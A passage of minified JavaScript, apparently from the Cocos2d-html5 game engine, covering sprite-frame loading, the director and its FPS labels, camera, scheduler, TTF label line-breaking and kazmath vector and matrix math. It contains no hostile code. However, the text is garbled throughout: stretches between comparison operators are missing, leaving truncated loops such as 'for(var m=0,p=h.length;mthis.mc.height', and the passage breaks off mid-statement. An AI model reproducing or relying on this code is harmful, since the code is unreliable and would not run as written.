d=c.frames,e=c.metadata||c.meta,c={},f={},g=0;e&&(g=e.format,g=1>=g.length?parseInt(g):g,f.o2=e.textureFileName||e.textureFileName||e.image);for(var h in d){var k=d[h];if(k){e={};if(0==g){e.rect=b.rect(k.x,k.y,k.width,k.height);e.xy=!1;e.offset=b.d(k.offsetX,k.offsetY);var m=k.originalWidth,k=k.originalHeight;m&&k||b.log(b.f.d6);m=Math.abs(m);k=Math.abs(k);e.size=b.size(m,k)}else if(1== g||2==g)e.rect=this.AL(k.frame),e.xy=k.rotated||!1,e.offset=this.qL(k.offset),e.size=this.qD(k.sourceSize);else if(3==g){var m=this.qD(k.spriteSize),p=this.AL(k.textureRect);m&&(p=b.rect(p.x,p.y,m.width,m.height));e.rect=p;e.xy=k.textureRotated||!1;e.offset=this.qL(k.spriteOffset);e.size=this.qD(k.spriteSourceSize);e.e_=k.aliases}else m=k.frame,p=k.sourceSize,h=k.filename||h,e.rect=b.rect(m.x,m.y,m.w,m.h),e.xy=k.rotated||!1,e.offset=b.d(0,0),e.size=b.size(p.w,p.h);c[h]=e}}return this.oo[a]={vo:!0, frames:c,F3:f}},ZZ:function(a,c){b.assert(a,b.f.g6);var d=this.oo[a]||b.V.Cd(a);if(d&&d.frames){var e=this.oo[a]||this.UW(a),d=e.frames,e=e.F3;c?c instanceof b.da||("string"==typeof c?c=b.Ea.Dc(c):b.assert(0,b.f.h6)):c=b.Ea.Dc(b.path.$o(a,e.o2||".png"));var e=this.tj,f=this.wh,g;for(g in d){var h=d[g],k=f[g];if(!k){k=b.ue.create(c,h.rect,h.xy,h.offset,h.size);if(h=h.e_)for(var m=0,p=h.length;mthis.mc.height?0|this.mc.height/320*24:0|this.mc.width/320*24; this.uf=b.P.create("000.0","Arial",a);this.vf=b.P.create("0.000","Arial",a);this.Bf=b.P.create("0000","Arial",a);a=b.jz;this.Bf.T(this.Bf.width/2+a.x,5*this.Bf.height/2+a.y);this.vf.T(this.vf.width/2+a.x,3*this.vf.height/2+a.y);this.uf.T(this.uf.width/2+a.x,this.uf.height/2+a.y)};a.RM=function(a){var d=new b.ca;b.lH(d);var e=new b.ca;b.f3(e,d);var d=d.c[14]/d.c[15],f=this.lh.VE(),g=new b.tb;b.MO(g,new b.tb(2*a.x/f.width-1,1-2*a.y/f.height,d),e);return b.d(g.x,g.y)};a.SM=function(a){var d=new b.ca; b.lH(d);var e=new b.tb;b.MO(e,new b.tb(a.x,a.y,0),d);a=this.lh.VE();return b.d(a.width*(0.5*e.x+0.5),a.height*(0.5*-e.y+0.5))};a.tp=function(){return this.lh.tp()};a.ux=function(){return this.lh.ux()};a.up=function(){return this.mc.height/1.1566};a.AG=function(){var a=this.lh;if(a){var d=this.mc;a.R5(-a.le.x/a.ka,-a.le.y/a.La,d.width,d.height)}};a.F1=function(){return this.lh};a.rp=function(){return this.Sr};a.CP=function(a){a?b.Kg(b.ac,b.$b):b.Kg(b.l.ONE,b.l.ZERO)};a.LP=function(){this.CP(!0);this.iG(!1); this.pl(this.Sr);b.l.clearColor(0,0,0,1)}};b.lf=0;b.lH=function(a){var c=new b.ca;b.Ox(b.ah,c);var d=new b.ca;b.Ox(b.$g,d);b.Ei(a,c,d)}; b.Ua=b.oa.extend({j$:!1,Ir:!1,kc:!1,dw:!1,Lk:!1,Xq:0,pC:0,Sr:0,Jn:0,dh:1,lr:!1,sk:0,GB:0,uf:null,vf:null,Bf:null,mc:null,Dk:null,ii:null,Rv:null,lh:null,qi:null,MC:null,bd:null,Od:0,Kw:0,ZC:0,W9:null,Kf:null,pg:null,qv:null,AB:null,CB:null,BB:null,ctor:function(){var a=this;a.Dk=Date.now();b.ra.fE(b.wb.Jt,function(){a.Dk=Date.now()})},ba:function(){this.pC=this.Xq=1/b.X_;this.qi=[];this.Sr=b.Ua.fT;this.MC=null;this.GB=this.Jn=0;this.lr=!1;this.Kw=this.Od=0;this.Dk=Date.now();this.dw=this.kc=!1;this.mc= b.size(0,0);this.lh=null;this.dh=1;this.Kf=new b.Hq;this.pg=b.NG?new b.NG:null;this.Kf.eG(this.pg,b.Hq.ju,!1);this.AB=new b.zl(b.Ua.ER);this.AB.setUserData(this);this.CB=new b.zl(b.Ua.GR);this.CB.setUserData(this);this.BB=new b.zl(b.Ua.FR);this.BB.setUserData(this);this.qv=new b.zl(b.Ua.HR);this.qv.setUserData(this);return!0},F_:function(){var a=Date.now();this.Ir?(this.sk=0,this.Ir=!1):this.sk=(a-this.Dk)/1E3;0b.rR&&(this.vf.string=this.ZC.toFixed(3),this.GB=this.Od/this.Jn,this.Jn=this.Od=0,this.uf.string=this.GB.toFixed(1),this.Bf.string=(0|b.lf).toString()),this.uf.U(),this.vf.U(),this.Bf.U()):this.$n();b.lf=0},cfa:function(){return this.Lk}, Kda:function(){return this.bd},Zba:function(){return this.Xq},Rea:function(){return this.lr},b5:function(a){this.lr=a},Pda:function(){return this.ZC},Vea:function(){return this.Ir},Xea:function(){return this.kc},jea:function(){return this.Kw},pia:function(){this.f4(1)},f4:function(a){b.assert(this.bd,b.f.vR);var c=this.qi,d=c.length;if(0==d)this.end();else if(!(a>d)){for(;d>a;){var e=c.pop();e.running&&(e.Vf(),e.xb());e.Ke();d--}this.ii=c[c.length-1];this.Lk=!1}},al:function(){return this.Kf},$P:function(a){this.Kf!= a&&(this.Kf=a)},ix:function(){return this.pg},BP:function(a){this.pg!=a&&(this.pg=a)},sca:function(){return this.sk},$n:null,SV:function(){this.ZC=(Date.now()-this.Dk)/1E3}});b.Ua.HR="director_projection_changed";b.Ua.ER="director_after_draw";b.Ua.GR="director_after_visit";b.Ua.FR="director_after_update"; b.yR=b.Ua.extend({Kx:!1,kQ:function(){this.Ir=!0;this.Kx=!1},D3:function(){this.dw?(this.dw=!1,this.m4()):this.Kx||this.j0()},mQ:function(){this.Kx=!0},DP:function(a){this.Xq=a;this.Kx||(this.mQ(),this.kQ())}});b.Ua.BG=null;b.Ua.vN=!0;b.Ua.MB=function(){b.Ua.vN&&(b.Ua.vN=!1,b.Ua.BG=new b.yR,b.Ua.BG.ba());return b.Ua.BG};b.X_=60;b.Ua.dT=0;b.Ua.DH=1;b.Ua.eT=3;b.Ua.fT=b.Ua.DH; b.B===b.Aa?(n=b.Ua.prototype,n.pl=function(a){this.Sr=a;b.ra.dispatchEvent(this.qv)},n.iG=function(){},n.Gy=function(a){this.mc.width=b.Wa.width;this.mc.height=b.Wa.height;this.lh=a||b.view;b.ra&&b.ra.qe(!0)},n.qk=function(){var a=this.lh.le;b.l.clearRect(-a.x,a.y,a.width,-a.height)},n.$n=function(){var a=0,a=this.mc.width>this.mc.height?0|this.mc.height/320*24:0|this.mc.width/320*24;this.uf=b.P.create("000.0","Arial",a);this.vf=b.P.create("0.000","Arial",a);this.Bf=b.P.create("0000","Arial",a);a= b.jz;this.Bf.T(this.Bf.width/2+a.x,5*this.Bf.height/2+a.y);this.vf.T(this.vf.width/2+a.x,3*this.vf.height/2+a.y);this.uf.T(this.uf.width/2+a.x,this.uf.height/2+a.y)},n.tp=function(){return this.ya()},n.ux=function(){return b.d(0,0)}):(b.Ua.no=new Image,b.Ha(b.Ua.no,"load",function(){b.Ua.qK=!0}),b.no&&(b.Ua.no.src=b.no),b.assert("function"===typeof b.H.lz,b.f.fd,"CCDirectorWebGL.js"),b.H.lz(),delete b.H.lz);b.bq=b.oa.extend({pr:null,qr:null,rr:null,Un:null,Vn:null,Wn:null,is:null,js:null,ks:null,hb:null,Nv:null,ctor:function(){this.Nv=new b.ca;this.restore()},description:function(){return"\x3cCCCamera | center \x3d("+this.Un+","+this.Vn+","+this.Wn+")\x3e"},HP:function(a){this.hb=a},zF:function(){return this.hb},restore:function(){this.pr=this.qr=0;this.rr=b.bq.up();this.is=this.Un=this.Vn=this.Wn=0;this.js=1;this.ks=0;b.Xm(this.Nv);this.hb=!1},Ws:function(){if(this.hb){var a=new b.tb,c=new b.tb,d=new b.tb; b.Bp(a,this.pr,this.qr,this.rr);b.Bp(c,this.Un,this.Vn,this.Wn);b.Bp(d,this.is,this.js,this.ks);b.CO(this.Nv,a,c,d);this.hb=!1}b.zp(this.Nv)},Pja:function(a,c,d){this.KP(a,c,d)},KP:function(a,c,d){this.pr=a;this.qr=c;this.rr=d;this.hb=!0},yja:function(a,c,d){this.U4(a,c,d)},U4:function(a,c,d){this.Un=a;this.Vn=c;this.Wn=d;this.hb=!0},nla:function(a,c,d){this.N5(a,c,d)},N5:function(a,c,d){this.is=a;this.js=c;this.ks=d;this.hb=!0},Ica:function(){return{x:this.pr,y:this.qr,z:this.rr}},GN:function(){return{x:this.pr, y:this.qr,z:this.rr}},fca:function(){return{x:this.Un,y:this.Vn,z:this.Wn}},CN:function(){return{x:this.Un,y:this.Vn,z:this.Wn}},oea:function(){return{x:this.is,y:this.js,z:this.ks}},b2:function(){return{x:this.is,y:this.js,z:this.ks}},J9:function(){}});b.bq.up=function(){return b.$t};b.R8=b.ju+1;b.rH=function(a,c,d){this.next=null;this.target=a;this.j4=c;this.paused=d;this.by=!1};b.mH=function(a,c,d){this.list=a;this.Om=c;this.target=d;this.zx=null};b.WR=function(a,c){this.Oi=null;this.target=a;this.Vp=0;this.As=this.zs=null;this.paused=c;this.zx=null}; b.lI=b.oa.extend({Ck:0,Yd:null,ie:null,ib:0,OL:!1,Rw:!1,Po:0,RC:0,fv:0,Vca:function(){return this.Ck},setInterval:function(a){this.Ck=a},eca:function(){return this.Yd},ctor:function(a,c,d,e,f){this.ie=a;this.Yd=c;this.ib=-1;this.Ck=d||0;this.fv=f||0;this.Rw=0=this.Ck&&(c&&d&&this.wB(),this.ib=0):(this.Rw?this.ib>=this.fv&&(c&&d&&this.wB(),this.ib-=this.fv,this.Po+=1,this.Rw=!1):this.ib>=this.Ck&&(c&&d&&this.wB(),this.ib=0,this.Po+=1),this.Po>this.RC&&b.J.al().AQ(c,d))}}}); b.Hq=b.oa.extend({hs:1,ym:null,dj:null,Tu:null,cj:null,O9:null,Wc:null,ci:!1,Lw:!1,ctor:function(){this.hs=1;this.ym=[[],[],[]];this.dj={};this.Tu=[];this.cj={};this.Yq=[];this.Wc=null;this.Lw=this.ci=!1},QC:function(a){delete this.cj[a.target.ua];b.Je(this.Yq,a);a.lI=null;a.target=null},FL:function(a){if(a=this.dj[a.target.ua])b.Je(a.list,a.Om),delete this.dj[a.target.ua],b.Je(this.Tu,a),a.Om=null,a.target=null},uL:function(a,c,d,e){e=new b.rH(c,d,e);if(a){for(var f=a.length-1,g=0;g<=f&&!(dc?e[0]=this.uL(e[0],a,c,d):e[2]=this.uL(e[2],a,c,d)}},AQ:function(a,c){if(null!=a&&null!=c){var d=this.cj[a.ua];if(d)for(var e=d.Oi,f=0,g=e.length;f=f&&d.Vp--;0==e.length&&(this.Wc==d?this.ci= !0:this.QC(d));break}}}},At:function(a){null!=a&&(a=this.dj[a.ua],null!=a&&(this.Lw?a.Om.by=!0:this.FL(a.Om)))},zQ:function(a){if(null!=a){var c=this.cj[a.ua];if(c){var d=c.Oi;!c.As&&0<=d.indexOf(c.zs)&&(c.As=!0);d.length=0;this.Wc==c?this.ci=!0:this.QC(c)}this.At(a)}},Uy:function(){this.J6(b.Hq.ju)},J6:function(a){for(var c=this.Yq,d=this.ym,e=0,f=c.length;ea.length)throw Error("Polygon's point must greater than 2");var f=a[0];c=this.l;var g=b.view.ka,h=b.view.La;c.beginPath();c.moveTo(f.x*g,-f.y*h);for(var f=1,k=a.length;fd&&1d&&100>q++;)g*=d/k,g|=0,h=e.substr(g),k=f-this.Co(h);for(q=0;kq++;)h&&(p=(m=b.P.TZ.exec(h))?m[0].length:1,m=h),g+=p,h=e.substr(g), k=f-this.Co(h);g-=p;d=e.substr(0,g);b.P.V6&&b.P.BZ.test(m||h)&&(f=b.P.PX.exec(d),g-=f?f[0].length:0,m=e.substr(g),d=e.substr(0,g));b.P.AW.test(m)&&(f=b.P.OX.exec(d))&&d!==f[0]&&(g-=f[0].length,m=e.substr(g),d=e.substr(0,g));a[c]=m||h;a.splice(c,0,d)}},Pw:function(){var a=this.gc.width,c,d,e=this.$K;e.length=0;this.zo=!1;this.YX();if(0!==a)for(this.ti=this.Jb.split("\n"),c=0;cc.x||0>c.y);a=this.Ah;this.Kb&&(a.x=-a.x);this.Lb&&(a.y=-a.y);this.Ib.x=a.x+(this.Q.width-this.ia.width)/2;this.Ib.y= a.y+(this.Q.height-this.ia.height)/2;this.X&&(this.dirty=!0)},n=null):(b.assert("function"===typeof b.H.MA,b.f.fd,"LabelTTFWebGL.js"),b.H.MA(),delete b.H.MA);b.assert("function"===typeof b.H.Wz,b.f.fd,"LabelTTFPropertyDefine.js");b.H.Wz();delete b.H.Wz;b.P.CZ=["left","center","right"];b.P.DZ=["top","middle","bottom"];b.P.V6=!0;b.P.TZ=/([a-zA-Z0-9\u00c4\u00d6\u00dc\u00e4\u00f6\u00fc\u00df\u00e9\u00e8\u00e7\u00e0\u00f9\u00ea\u00e2\u00ee\u00f4\u00fb]+|\S)/;b.P.BZ=/^[!,.:;}\]%\?>\u3001\u2018\u201c\u300b\uff1f\u3002\uff0c\uff01]/; b.P.PX=/([a-zA-Z0-9\u00c4\u00d6\u00dc\u00e4\u00f6\u00fc\u00df\u00e9\u00e8\u00e7\u00e0\u00f9\u00ea\u00e2\u00ee\u00f4\u00fb]+|\S)$/;b.P.OX=/[a-zA-Z0-9\u00c4\u00d6\u00dc\u00e4\u00f6\u00fc\u00df\u00e9\u00e8\u00e7\u00e0\u00f9\u00ea\u00e2\u00ee\u00f4\u00fb]+$/;b.P.AW=/^[a-zA-Z0-9\u00c4\u00d6\u00dc\u00e4\u00f6\u00fc\u00df\u00e9\u00e8\u00e7\u00e0\u00f9\u00ea\u00e2\u00ee\u00f4\u00fb]/;b.P.FW=/^(\d+)px\s+['"]?([\w\s\d]+)['"]?$/;b.P.create=function(a,c,d,e,f,g){return new b.P(a,c,d,e,f,g)};b.P.Aaa=b.P.create; b.P.xV=b.iV?b.Vi:b.gA;b.P.mk=b.Rb("div");b.P.mk.style.fontFamily="Arial";b.P.mk.style.position="absolute";b.P.mk.style.left="-100px";b.P.mk.style.top="-100px";b.P.mk.style.lineHeight="normal";document.body?document.body.appendChild(b.P.mk):b.Ha(window,"load",function(){this.removeEventListener("load",arguments.callee,!1);document.body.appendChild(b.P.mk)},!1); b.P.Sq=function(a,c){var d=b.P.bJ[a+"."+c];if(0=a&&c.Cm--;0==c.vc.length&&(this.Wc==c?this.ci=!0:this.sB(c))},sB:function(a){a&&(delete this.hh[a.target.ua],b.Je(this.Ln,a),a.vc=null,a.target=null)},AV:function(a){null==a.vc&&(a.vc=[])},update:function(a){for(var c=this.Ln,d,e=0;ec?a:c};b.nfa=function(a,c){return a+b.za>c&&a-b.zac.x-b.za&&a.yc.y-b.za};b.tb=function(a,c,d){this.x=a||0;this.y=c||0;this.z=d||0};b.Bp=function(a,c,d,e){if(!a)return new b.tb(c,d,e);a.x=c;a.y=d;a.z=e;return a};b.KO=function(a){return Math.sqrt(b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z))};b.LO=function(a){return b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z)};b.pf=function(a,c){var d=1/b.KO(c);a.x=c.x*d;a.y=c.y*d;a.z=c.z*d};b.hl=function(a,c,d){a.x=c.y*d.z-c.z*d.y;a.y=c.z*d.x-c.x*d.z;a.z=c.x*d.y-c.y*d.x};b.GF=function(a,c){return a.x*c.x+a.y*c.y+a.z*c.z}; b.JO=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z};b.IF=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;a.z=c.z-d.z};b.Lga=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8]+d.c[12];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9]+d.c[13];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10]+d.c[14];return a};b.Mga=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10];return a}; b.MO=function(a,c,d){var e=new b.NO,f=new b.NO;b.r3(f,c.x,c.y,c.z);b.OO(e,f,d);a.x=e.x/e.G;a.y=e.y/e.G;a.z=e.z/e.G};b.HF=function(a,c,d){a.x=c.x*d;a.y=c.y*d;a.z=c.z*d;return a};b.Hga=function(a,c){return a.xc.x-b.za&&a.yc.y-b.za&&a.zc.z-b.za?1:0};b.Iga=function(a,c,d){c=new b.tb(c.x-d.c[12],c.y-d.c[13],c.z-d.c[14]);a.x=c.x*d.c[0]+c.y*d.c[1]+c.z*d.c[2];a.y=c.x*d.c[4]+c.y*d.c[5]+c.z*d.c[6];a.z=c.x*d.c[8]+c.y*d.c[9]+c.z*d.c[10];return a}; b.Jga=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[1]+c.z*d.c[2];a.y=c.x*d.c[4]+c.y*d.c[5]+c.z*d.c[6];a.z=c.x*d.c[8]+c.y*d.c[9]+c.z*d.c[10];return a};b.Ss=function(a,c){a!=c&&(a.x=c.x,a.y=c.y,a.z=c.z)};b.Nga=function(a){a.x=0;a.y=0;a.z=0;return a};b.Kga=function(a){if(!a)return null;var c=new Float32Array(3);c[0]=a.x;c[1]=a.y;c[2]=a.z;return c};b.NO=function(){this.G=this.z=this.y=this.x=0};b.r3=function(a,c,d,e){a.x=c;a.y=d;a.z=e;a.G=1};b.Oga=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z;a.G=c.G+d.G;return a};b.Rga=function(a,c){return a.x*c.x+a.y*c.y+a.z*c.z+a.G*c.G};b.s3=function(a){return Math.sqrt(b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z)+b.Fc(a.G))};b.Sga=function(a){return b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z)+b.Fc(a.G)};b.Tga=function(a){return a};b.t3=function(a,c){var d=1/b.s3(c);a.x*=d;a.y*=d;a.z*=d;a.G*=d}; b.Uga=function(a,c,d){b.t3(a,c);a.x*=d;a.y*=d;a.z*=d;a.G*=d;return a};b.Vga=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;a.z=c.z-d.z;a.G=c.G-d.G;return a};b.OO=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8]+c.G*d.c[12];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9]+c.G*d.c[13];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10]+c.G*d.c[14];a.G=c.x*d.c[3]+c.y*d.c[7]+c.z*d.c[11]+c.G*d.c[15]};b.Xga=function(a,c,d,e,f,g){for(var h=0;hc.x-b.za&&a.yc.y-b.za&&a.zc.z-b.za&&a.Gc.G-b.za};b.Qga=function(a,c){if(a==c)return b.log("destVec and srcVec are same object"),a;a.x=c.x;a.y=c.y;a.z=c.z;a.G=c.G;return a};b.Wga=function(a){if(!a)return null;var c=new Float32Array(4);c[0]=a.x;c[1]=a.y;c[2]=a.z;c[3]=a.G;return c};b.uga=function(a){this.start=a||new b.Lh;this.start=a||new b.Lh};b.vga=function(a,c,d,e,f){a.start.x=c;a.start.y=d;a.dir.x=e;a.dir.y=f}; b.FF=function(a,c,d,e){var f=a.start.x,g=a.start.y,h=a.start.x+a.dir.x;a=a.start.y+a.dir.y;var k=c.x,m=c.y,p=d.x,q=d.y,r=(q-m)*(h-f)-(p-k)*(a-g);if(r>-b.za&&rb.Qx(c.x,d.x)+b.za||mb.Qx(c.y,d.y)+b.za||kb.Qx(f,h)+b.za||mb.Qx(g,a)+b.za)return b.An;e.x=k;e.y=m;return b.Bn}; b.oE=function(a,c,d){var e=new b.Lh;b.Ux(e,c,a);d.x=-e.y;d.y=e.x;b.q3(d,d)};b.xga=function(a,c,d,e,f,g){var h=new b.Lh,k=new b.Lh,m=new b.Lh,p=1E4,q=b.An,r;b.FF(a,c,d,h)&&(r=new b.Lh,q=b.Bn,r=b.Tx(b.Ux(r,h,a.start)),rd;d++)a.c[d]=c;return a};b.c3=function(a,c){a.c[0]=c.c[4]*c.c[8]-c.c[5]*c.c[7];a.c[1]=c.c[2]*c.c[7]-c.c[1]*c.c[8];a.c[2]=c.c[1]*c.c[5]-c.c[2]*c.c[4];a.c[3]=c.c[5]*c.c[6]-c.c[3]*c.c[8];a.c[4]=c.c[0]*c.c[8]-c.c[2]*c.c[6];a.c[5]=c.c[2]*c.c[3]-c.c[0]*c.c[5];a.c[6]=c.c[3]*c.c[7]-c.c[4]*c.c[6];a.c[8]=c.c[0]*c.c[4]-c.c[1]*c.c[3]}; b.BO=function(a){a.c[1]=a.c[2]=a.c[3]=a.c[5]=a.c[6]=a.c[7]=0;a.c[0]=a.c[4]=a.c[8]=1};b.yfa=function(a,c,d){var e=new b.Px;if(0===c)return null;c=1/c;b.c3(e,d);b.d3(a,e,c);return a};b.Px.UB=new Float32Array([1,0,0,0,1,0,0,0,1]);b.zfa=function(a){for(var c=0;9>c;c++)if(b.Px.UB[c]!==a.c[c])return!1;return!0};b.Kfa=function(a,c){var d,e;for(d=0;3>d;++d)for(e=0;3>e;++e)a.c[3*d+e]=c.c[3*e+d];return a}; b.wfa=function(a){var c;c=a.c[0]*a.c[4]*a.c[8]+a.c[1]*a.c[5]*a.c[6]+a.c[2]*a.c[3]*a.c[7];return c-=a.c[2]*a.c[4]*a.c[6]+a.c[0]*a.c[5]*a.c[7]+a.c[1]*a.c[3]*a.c[8]}; b.Afa=function(a,c,d){c=c.c;d=d.c;a.c[0]=c[0]*d[0]+c[3]*d[1]+c[6]*d[2];a.c[1]=c[1]*d[0]+c[4]*d[1]+c[7]*d[2];a.c[2]=c[2]*d[0]+c[5]*d[1]+c[8]*d[2];a.c[3]=c[0]*d[3]+c[3]*d[4]+c[6]*d[5];a.c[4]=c[1]*d[3]+c[4]*d[4]+c[7]*d[5];a.c[5]=c[2]*d[3]+c[5]*d[4]+c[8]*d[5];a.c[6]=c[0]*d[6]+c[3]*d[7]+c[6]*d[8];a.c[7]=c[1]*d[6]+c[4]*d[7]+c[7]*d[8];a.c[8]=c[2]*d[6]+c[5]*d[7]+c[8]*d[8];return a};b.d3=function(a,c,d){for(var e=0;9>e;e++)a.c[e]=c.c[e]*d}; b.Cfa=function(a,c,d){var e=Math.cos(d);d=Math.sin(d);a.c[0]=e+c.x*c.x*(1-e);a.c[1]=c.z*d+c.y*c.x*(1-e);a.c[2]=-c.y*d+c.z*c.x*(1-e);a.c[3]=-c.z*d+c.x*c.y*(1-e);a.c[4]=e+c.y*c.y*(1-e);a.c[5]=c.x*d+c.z*c.y*(1-e);a.c[6]=c.y*d+c.x*c.z*(1-e);a.c[7]=-c.x*d+c.y*c.z*(1-e);a.c[8]=e+c.z*c.z*(1-e);return a};b.vfa=function(a,c){if(a==c)return b.log("cc.kmMat3Assign(): pOut equals pIn"),a;for(var d=0;9>d;d++)a.c[d]=c.c[d];return a}; b.ufa=function(a,c){if(a==c)return!0;for(var d=0;9>d;++d)if(!(a.c[d]+b.za>c.c[d]&&a.c[d]-b.zad;d++){for(g=k=0;4>g;g++)if(1!=q[g])for(h=0;4>h;h++)0==q[h]&&Math.abs(b.ca.Ef(a,g,h))>=k&&(k=Math.abs(b.ca.Ef(a,g,h)),f=g,e=h);++q[e];if(f!=e){for(g=0;4>g;g++)b.ca.Tk(a,f,g,e,g);for(g=0;4>g;g++)b.ca.Tk(c,f,g,e,g)}p[d]=f;m[d]=e;if(0==b.ca.Ef(a,e,e))return b.An;h=1/b.ca.Ef(a,e,e);b.ca.Mk(a,e,e,1);for(g=0;4>g;g++)b.ca.Mk(a,e,g,b.ca.Ef(a,e,g)*h);for(g=0;4>g;g++)b.ca.Mk(c,e,g,b.ca.Ef(c,e,g)*h);for(h=0;4>h;h++)if(h!= e){k=b.ca.Ef(a,h,e);b.ca.Mk(a,h,e,0);for(g=0;4>g;g++)b.ca.Mk(a,h,g,b.ca.Ef(a,h,g)-b.ca.Ef(a,e,g)*k);for(g=0;4>g;g++)b.ca.Mk(c,h,g,b.ca.Ef(a,h,g)-b.ca.Ef(c,e,g)*k)}}for(g=3;0<=g;g--)if(p[g]!=m[g])for(h=0;4>h;h++)b.ca.Tk(a,h,p[g],h,m[g]);return b.Bn};b.ca.UB=new Float32Array([1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]);b.f3=function(a,c){var d=new b.ca,e=new b.ca;b.Hj(d,c);b.Xm(e);b.ca.HW(d,e)!=b.An&&b.Hj(a,d)};b.Rfa=function(a){for(var c=0;16>c;c++)if(b.ca.UB[c]!=a.c[c])return!1;return!0}; b.Zfa=function(a,c){var d,e,f=a.c,g=c.c;for(e=0;4>e;++e)for(d=0;4>d;++d)f[4*e+d]=g[4*d+e];return a}; b.Ei=function(a,c,d){a=a.c;var e=c.c[0],f=c.c[1],g=c.c[2],h=c.c[3],k=c.c[4],m=c.c[5],p=c.c[6],q=c.c[7],r=c.c[8],t=c.c[9],s=c.c[10],u=c.c[11],v=c.c[12],x=c.c[13],z=c.c[14];c=c.c[15];var D=d.c[0],F=d.c[1],B=d.c[2],y=d.c[3],A=d.c[4],w=d.c[5],C=d.c[6],H=d.c[7],I=d.c[8],G=d.c[9],O=d.c[10],R=d.c[11],Q=d.c[12],T=d.c[13],K=d.c[14];d=d.c[15];a[0]=D*e+F*k+B*r+y*v;a[1]=D*f+F*m+B*t+y*x;a[2]=D*g+F*p+B*s+y*z;a[3]=D*h+F*q+B*u+y*c;a[4]=A*e+w*k+C*r+H*v;a[5]=A*f+w*m+C*t+H*x;a[6]=A*g+w*p+C*s+H*z;a[7]=A*h+w*q+C*u+H* c;a[8]=I*e+G*k+O*r+R*v;a[9]=I*f+G*m+O*t+R*x;a[10]=I*g+G*p+O*s+R*z;a[11]=I*h+G*q+O*u+R*c;a[12]=Q*e+T*k+K*r+d*v;a[13]=Q*f+T*m+K*t+d*x;a[14]=Q*g+T*p+K*s+d*z;a[15]=Q*h+T*q+K*u+d*c}; b.w1=function(){var a=b.ll.top.c,c=b.Lj.top.c,d=new Float32Array(16);d[0]=a[0]*c[0]+a[4]*c[1]+a[8]*c[2]+a[12]*c[3];d[1]=a[1]*c[0]+a[5]*c[1]+a[9]*c[2]+a[13]*c[3];d[2]=a[2]*c[0]+a[6]*c[1]+a[10]*c[2]+a[14]*c[3];d[3]=a[3]*c[0]+a[7]*c[1]+a[11]*c[2]+a[15]*c[3];d[4]=a[0]*c[4]+a[4]*c[5]+a[8]*c[6]+a[12]*c[7];d[5]=a[1]*c[4]+a[5]*c[5]+a[9]*c[6]+a[13]*c[7];d[6]=a[2]*c[4]+a[6]*c[5]+a[10]*c[6]+a[14]*c[7];d[7]=a[3]*c[4]+a[7]*c[5]+a[11]*c[6]+a[15]*c[7];d[8]=a[0]*c[8]+a[4]*c[9]+a[8]*c[10]+a[12]*c[11];d[9]=a[1]*c[8]+ a[5]*c[9]+a[9]*c[10]+a[13]*c[11];d[10]=a[2]*c[8]+a[6]*c[9]+a[10]*c[10]+a[14]*c[11];d[11]=a[3]*c[8]+a[7]*c[9]+a[11]*c[10]+a[15]*c[11];d[12]=a[0]*c[12]+a[4]*c[13]+a[8]*c[14]+a[12]*c[15];d[13]=a[1]*c[12]+a[5]*c[13]+a[9]*c[14]+a[13]*c[15];d[14]=a[2]*c[12]+a[6]*c[13]+a[10]*c[14]+a[14]*c[15];d[15]=a[3]*c[12]+a[7]*c[13]+a[11]*c[14]+a[15]*c[15];return d}; b.hda=function(a,c,d){a=a.c;c=c.c;var e=d.c;e[0]=a[0]*c[0]+a[4]*c[1]+a[8]*c[2]+a[12]*c[3];e[1]=a[1]*c[0]+a[5]*c[1]+a[9]*c[2]+a[13]*c[3];e[2]=a[2]*c[0]+a[6]*c[1]+a[10]*c[2]+a[14]*c[3];e[3]=a[3]*c[0]+a[7]*c[1]+a[11]*c[2]+a[15]*c[3];e[4]=a[0]*c[4]+a[4]*c[5]+a[8]*c[6]+a[12]*c[7];e[5]=a[1]*c[4]+a[5]*c[5]+a[9]*c[6]+a[13]*c[7];e[6]=a[2]*c[4]+a[6]*c[5]+a[10]*c[6]+a[14]*c[7];e[7]=a[3]*c[4]+a[7]*c[5]+a[11]*c[6]+a[15]*c[7];e[8]=a[0]*c[8]+a[4]*c[9]+a[8]*c[10]+a[12]*c[11];e[9]=a[1]*c[8]+a[5]*c[9]+a[9]*c[10]+a[13]* c[11];e[10]=a[2]*c[8]+a[6]*c[9]+a[10]*c[10]+a[14]*c[11];e[11]=a[3]*c[8]+a[7]*c[9]+a[11]*c[10]+a[15]*c[11];e[12]=a[0]*c[12]+a[4]*c[13]+a[8]*c[14]+a[12]*c[15];e[13]=a[1]*c[12]+a[5]*c[13]+a[9]*c[14]+a[13]*c[15];e[14]=a[2]*c[12]+a[6]*c[13]+a[10]*c[14]+a[14]*c[15];e[15]=a[3]*c[12]+a[7]*c[13]+a[11]*c[14]+a[15]*c[15];return d.c}; b.Hj=function(a,c){if(a==c)b.log("cc.kmMat4Assign(): pOut equals pIn");else{var d=a.c,e=c.c;d[0]=e[0];d[1]=e[1];d[2]=e[2];d[3]=e[3];d[4]=e[4];d[5]=e[5];d[6]=e[6];d[7]=e[7];d[8]=e[8];d[9]=e[9];d[10]=e[10];d[11]=e[11];d[12]=e[12];d[13]=e[13];d[14]=e[14];d[15]=e[15]}};b.Lfa=function(a,c){if(a==c)return b.log("cc.kmMat4AreEqual(): pMat1 and pMat2 are same object."),!0;for(var 